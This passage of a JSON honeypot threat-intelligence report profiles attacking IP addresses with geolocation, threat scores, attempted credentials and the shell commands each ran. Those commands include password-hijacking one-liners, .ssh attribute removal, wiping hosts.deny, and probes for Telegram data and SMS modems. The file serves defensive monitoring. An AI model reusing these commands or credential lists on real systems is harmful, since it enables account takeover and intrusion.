      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T07:43:12.865000+00:00",
        "last_seen_30d": "2026-03-31T09:00:12.777000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 54
      }
    },
    "45.78.198.162": {
      "attack_count": 156,
      "first_seen": "2026-03-07T22:03:40.028Z",
      "last_seen": "2026-03-07T22:43:18.783Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "rico",
        "satisfactory",
        "atlas",
        "fastuser",
        "francisco",
        "in",
        "qbtuser",
        "scan",
        "vas"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "atlas123",
        "inpass",
        "qbtuser123!",
        "rico1234",
        "satisfactorypass",
        "vaspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "which ls",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"rico1234\\nJkVhCjxSQXTZ\\nJkVhCjxSQXTZ\\n\"|passwd",
        "echo \"satisfactorypass\\nspejy6wol9L9\\nspejy6wol9L9\\n\"|passwd",
        "echo -e \"rico1234\\nJkVhCjxSQXTZ\\nJkVhCjxSQXTZ\"|passwd|bash",
        "echo -e \"satisfactorypass\\nspejy6wol9L9\\nspejy6wol9L9\"|passwd|bash",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T22:03:40.028000+00:00",
        "last_seen_30d": "2026-03-07T22:44:19.288000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 156,
        "Suricata": 33
      }
    },
    "103.189.234.179": {
      "attack_count": 119,
      "first_seen": "2026-03-09T01:42:21.898Z",
      "last_seen": "2026-03-09T02:04:04.786Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "debian",
        "julian",
        "345gs5662d34",
        "administrator",
        "bodega",
        "erpnext",
        "guest",
        "james",
        "root",
        "zhangjh"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Julian123",
        "Welcome@2024",
        "debian",
        "debianpass",
        "erpnext",
        "guest01",
        "james"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Julian123\\ncr1CUBTvPNYY\\ncr1CUBTvPNYY\\n\"|passwd",
        "echo -e \"Julian123\\ncr1CUBTvPNYY\\ncr1CUBTvPNYY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T01:42:21.898000+00:00",
        "last_seen_30d": "2026-03-09T02:05:12.279000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "151.57.225.95": {
      "attack_count": 119,
      "first_seen": "2026-03-09T06:13:10.179Z",
      "last_seen": "2026-03-09T06:30:03.834Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "ljj",
        "345gs5662d34",
        "arm",
        "cb",
        "erpnext",
        "mobiquity",
        "sm",
        "wade",
        "work",
        "zhangliang",
        "zw"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Zw123",
        "arm@123",
        "mobiquitypass",
        "wade123",
        "work123",
        "zhangliang123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nn3MM1poBgoDX\\nn3MM1poBgoDX\\n\"|passwd",
        "echo -e \"123\\nn3MM1poBgoDX\\nn3MM1poBgoDX\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T06:13:10.179000+00:00",
        "last_seen_30d": "2026-03-09T06:31:05.360000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "5.129.236.197": {
      "attack_count": 119,
      "first_seen": "2026-03-23T02:20:19.271Z",
      "last_seen": "2026-03-23T02:39:00.232Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "rd",
        "root",
        "345gs5662d34",
        "eddy",
        "mukesh",
        "player",
        "purple",
        "socksuser",
        "student10",
        "ttt"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "!QAZ2wsx#EDC",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Az123456@",
        "Socksuser123",
        "player123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nslrZgTMP90Pg\\nslrZgTMP90Pg\\n\"|passwd",
        "echo -e \"1234\\nslrZgTMP90Pg\\nslrZgTMP90Pg\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 210976,
      "as_org": "Timeweb, LLP",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T02:20:19.271000+00:00",
        "last_seen_30d": "2026-03-23T02:40:02.674000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "51.79.134.28": {
      "attack_count": 119,
      "first_seen": "2026-03-07T22:24:01.560Z",
      "last_seen": "2026-03-07T22:46:30.672Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "jagdish",
        "345gs5662d34",
        "admin1234",
        "deployuser",
        "frappeuser",
        "hik",
        "home",
        "infra",
        "root",
        "viewer",
        "zz"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin1234123",
        "Jagdish123",
        "Qwe@123456789",
        "Viewer123",
        "Zz123!",
        "admin",
        "frappeuser123",
        "hikpass",
        "infra123",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Jagdish123\\nUpoE5m5SKB3l\\nUpoE5m5SKB3l\\n\"|passwd",
        "echo -e \"Jagdish123\\nUpoE5m5SKB3l\\nUpoE5m5SKB3l\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T22:24:01.560000+00:00",
        "last_seen_30d": "2026-03-07T22:47:34.313000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "119.209.12.20": {
      "attack_count": 118,
      "first_seen": "2026-03-05T12:33:48.983Z",
      "last_seen": "2026-03-05T13:02:15.621Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "131313$$",
        "2024!!123",
        "3245gs5662d34",
        "345gs5662d34",
        "7654321##",
        "7654321@!",
        "Admin26@",
        "Login@#$2026",
        "User!!123",
        "letme1n2024@",
        "pass1234!",
        "r00t1234!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:3NfvF6CGQzmf\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T12:33:48.983000+00:00",
        "last_seen_30d": "2026-03-05T13:03:22.417000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "157.230.32.59": {
      "attack_count": 118,
      "first_seen": "2026-03-02T08:18:42.229Z",
      "last_seen": "2026-03-02T08:41:23.316Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0okm(IJN8uhb",
        "113",
        "123qwe123asd",
        "3245gs5662d34",
        "345gs5662d34",
        "786786",
        "Nb123456",
        "Password@1!",
        "Qwert123!",
        "bingo",
        "diamond",
        "qwerty555"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:CVLSMJkh47Bx\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:18:42.229000+00:00",
        "last_seen_30d": "2026-03-02T08:42:25.044000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "68.183.6.95": {
      "attack_count": 110,
      "first_seen": "2026-03-21T09:29:14.598Z",
      "last_seen": "2026-03-21T09:49:29.036Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "000000",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "555555",
        "654321",
        "abc123",
        "admin",
        "admin123",
        "password",
        "password1",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T09:29:14.598000+00:00",
        "last_seen_30d": "2026-03-21T09:50:32.852000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 110,
        "Suricata": 47
      }
    },
    "14.63.217.28": {
      "attack_count": 94,
      "first_seen": "2026-03-26T07:57:48.604Z",
      "last_seen": "2026-03-26T08:07:50.256Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "rocky",
        "345gs5662d34",
        "apm",
        "backup1",
        "cert",
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "apm123",
        "backup1",
        "password",
        "xxxxxx"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\n18iL6qayNRIv\\n18iL6qayNRIv\\n\"|passwd",
        "echo -e \"password\\n18iL6qayNRIv\\n18iL6qayNRIv\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:57:48.604000+00:00",
        "last_seen_30d": "2026-03-26T08:08:59.698000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "39.115.195.164": {
      "attack_count": 94,
      "first_seen": "2026-03-26T17:13:14.598Z",
      "last_seen": "2026-03-26T17:24:22.840Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "webadmin",
        "345gs5662d34",
        "karan",
        "kipt",
        "service",
        "sistemas"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Kipt123",
        "karan1234",
        "servicepass",
        "webadmin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"webadmin\\nVjvpaZkZlSUo\\nVjvpaZkZlSUo\\n\"|passwd",
        "echo -e \"webadmin\\nVjvpaZkZlSUo\\nVjvpaZkZlSUo\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangmyeong",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T17:13:14.598000+00:00",
        "last_seen_30d": "2026-03-26T17:25:23.303000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 17
      }
    },
    "115.140.161.61": {
      "attack_count": 69,
      "first_seen": "2026-03-11T20:10:39.612Z",
      "last_seen": "2026-03-19T16:58:26.938Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "12345"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gyeonggi-do",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T20:10:39.612000+00:00",
        "last_seen_30d": "2026-03-19T16:59:34.622000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 69,
        "Suricata": 9
      }
    },
    "152.200.181.42": {
      "attack_count": 58,
      "first_seen": "2026-03-04T12:18:21.876Z",
      "last_seen": "2026-03-04T13:14:40.695Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "20222022",
        "Abc123!!",
        "Pa55word!",
        "marcel"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": null,
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:18:21.876000+00:00",
        "last_seen_30d": "2026-03-04T13:15:43.256000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 58,
        "Suricata": 43
      }
    },
    "45.61.184.133": {
      "attack_count": 57,
      "first_seen": "2026-03-02T14:29:52.776Z",
      "last_seen": "2026-03-13T07:19:24.594Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123@@@",
        "LeitboGi0ro",
        "MoeClub.org",
        "dietpi",
        "123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:27:17.576000+00:00",
        "last_seen_30d": "2026-03-13T07:20:31.388000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 57,
        "Suricata": 28
      }
    },
    "146.190.26.26": {
      "attack_count": 53,
      "first_seen": "2026-03-09T15:20:42.869Z",
      "last_seen": "2026-03-09T15:28:25.681Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:20:42.869000+00:00",
